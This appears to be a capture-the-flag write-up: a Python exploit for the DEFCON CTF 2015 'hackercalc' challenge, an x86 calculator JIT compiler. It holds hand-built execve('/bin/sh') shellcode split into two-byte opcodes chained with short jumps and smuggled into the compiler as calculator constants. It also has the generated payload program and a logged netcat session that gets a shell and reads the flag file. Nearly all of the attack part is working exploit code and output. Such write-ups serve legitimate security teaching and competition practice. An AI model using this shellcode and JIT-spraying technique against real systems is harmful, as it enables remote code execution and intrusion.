Hackercalc is an x86 calculator JIT compiler.
Download binary
#!/usr/bin/python ''' DEFCON CTF 2015 hackercalc exploit. Written by repnzscasb, c00kies@venice. $ (python exploit.py; cat - ) | nc -vv hackercalc_2e9c870a8449603f8d4b748d78993026.quals.shallweplayaga.me 21222 Connection to hackercalc_2e9c870a8449603f8d4b748d78993026.quals.shallweplayaga.me 21222 port [tcp/*] succeeded! RUa rir1 - rP0nDdSSPr.rnsT koaL nr0:e-oEt U eo nNr Oex oonnTpOEpyw id uid=1001(hackercalc) gid=1001(hackercalc) groups=1001(hackercalc) cat /home/hackercalc/flag The flag is: Congratulations!!! strfry! hackercalc! x86jit! hatec++RE! givemesymbolsnexttime! ''' from struct import unpack def toint(s): return unpack('<I', s)[0] # Shellcode from http://shell-storm.org/shellcode/files/shellcode-752.php. # Modified to use two-bytes opcodes only. shellcode = [ "\x31\xc9", # xor ecx, ecx "\xf7\xe1", # mul ecx "\x51", # push ecx "\xb4\x68", # mov ah, 0x68 "\xb0\x73", # mov al, 0x73 "\x66\x50", # push ax "\xb4\x2f", # mov ah, 0x2f "\xb0\x6e", # mov al, 0x6e "\x66\x50", # push ax "\xb4\x69", # mov ah, 0x69 "\xb0\x62", # mov al, 0x62 "\x66\x50", # push ax "\xb4\x2f", # mov ah, 0x2f "\xb0\x2f", # mov al, 0x2f "\x66\x50", # push ax "\x89\xe3", # mov ebx, esp "\x31\xc0", # xor eax, eax "\xb0\x0b", # mov al, 11 "\xcd\x80", # int 0x80 ] # Only 3 bytes will be written at this point, so we skip to the next shellcode instruction # \x00 is padding jskip = "\x00" + "\xeb\x08" + "\x00" jskip = toint(jskip) # Build the shellcode using 4-bytes blocks like <2-bytes opcode><2-bytes jmp next opcode> jnext = "\xeb\x07" code = "" for o in shellcode: asm = o.ljust(2, "\x90") + jnext code += "\tx = {:d}\n".format(toint(asm)) # Build the payload payload = ''' func b1(x) func b2(x) func b3(x) func b4(x) func b5(x) func b6(x) func b7(x) func a(x) \tb1((b1(0)||{:d}||) {} run a(0) '''.format(jskip, code) print(payload)
This is the generated calculator program which calls execve(“/bin/sh”):
func b1(x) func b2(x) func b3(x) func b4(x) func b5(x) func b6(x) func b7(x) func a(x) b1((b1(0)||584448||) x = 132892977 x = 132899319 x = 132878417 x = 132868276 x = 132871088 x = 132862054 x = 132853684 x = 132869808 x = 132862054 x = 132868532 x = 132866736 x = 132862054 x = 132853684 x = 132853680 x = 132862054 x = 132899721 x = 132890673 x = 132844464 x = 132874445 run a(0)